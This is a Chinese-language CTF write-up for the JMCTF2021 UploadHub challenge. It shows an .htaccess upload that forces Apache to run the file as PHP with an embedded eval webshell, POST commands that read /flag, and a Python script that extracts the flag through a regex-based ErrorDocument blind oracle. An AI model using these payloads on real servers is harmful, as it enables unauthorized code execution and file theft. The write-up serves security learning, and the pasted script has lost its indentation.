[JMCTF2021]UploadHub

一进来就是经典上传页面

image-20241108205554795

直接上传🐎

image-20241108205808874

img

能上传,但是不能被解析为php代码,可以想到应该是设置的问题,提到设置,基本上就是./htaccess文件或者是.user.ini,这个地方可以用./htaccess文件,之前有过一个题目也是./htaccess文件上传,但是只是可以在htaccess上执行php代码,但是不解析这个的设置之前没学过

方法一

SetHandler和ForceType

强制所有匹配的文件被一个指定的处理器处理 用法:

1
2
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
1
2
3
4
5
6
7
那么这里就是将.htaccess文件解析为php

Require all granted #允许所有请求

php_flag engine on #开启PHP的解析

php_value auto_prepend_file .htaccess 在主文件解析之前自动解析包含.htaccess的内容

上传内容:

1
2
3
4
5
6
7
8
<FilesMatch .htaccess>
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</FilesMatch>

php_value auto_prepend_file .htaccess
#<?php eval($_POST['1']);?>

被解析了#后面没有PHP代码了(php代码被解析时是不会在网页显示的)

image-20241108210225445

1
2
3
4
POST:
1=var_dump(scandir("/"));

1=var_dump(file_get_contents("/flag"));

这个方法需要每隔一段时间上传一次,应该是隔一段时间删除上传的文件

image-20241108210501783

方法二:ErrorDocument 404

看Nu1l的解法感觉很强,居然是通过盲注!

还是传.htaccess文件,但内容却很不一样:

1
2
3
<If "file('/flag')=~ '/flag{/'">
ErrorDocument 404 "wupco"
</If>

先上传一次,获取不变的upload后面的ip
~ :用于开启“正则表达式”分析,正则表达式必须在双引号之间。

~ :用于开启“正则表达式”分析,正则表达式必须在双引号之间。

如果匹配到就设置ErrorDocument 404为”wupco”,那么访问一个不存在的页面时就会显示wupco这个字符串

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import string
import hashlib
ip = '74310c5695d734e667dc2250a05dcd29'//修改成自己的
print(ip)

def check(a):
htaccess = '''
<If "file('/flag')=~ /'''+a+'''/">
ErrorDocument 404 "wupco6"
</If>
'''
resp = requests.post("http://ec19713a-672c-4509-bc22-545487f35622.node3.buuoj.cn/index.php?id=69660",data={'submit': 'submit'}, files={'file': ('.htaccess',htaccess)} )
a = requests.get("http://ec19713a-672c-4509-bc22-545487f35622.node3.buuoj.cn/upload/"+ip+"/a").text

if "wupco" not in a:
return False
else:
print(a)
return True

flag = "flag{"
check(flag)

c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
for i in c:
print("checking: "+ flag+i)
if check(flag+i):
flag = flag+i
print(flag)
break
else:
continue

参考链接:https://blog.csdn.net/weixin_45669205/article/details/117047432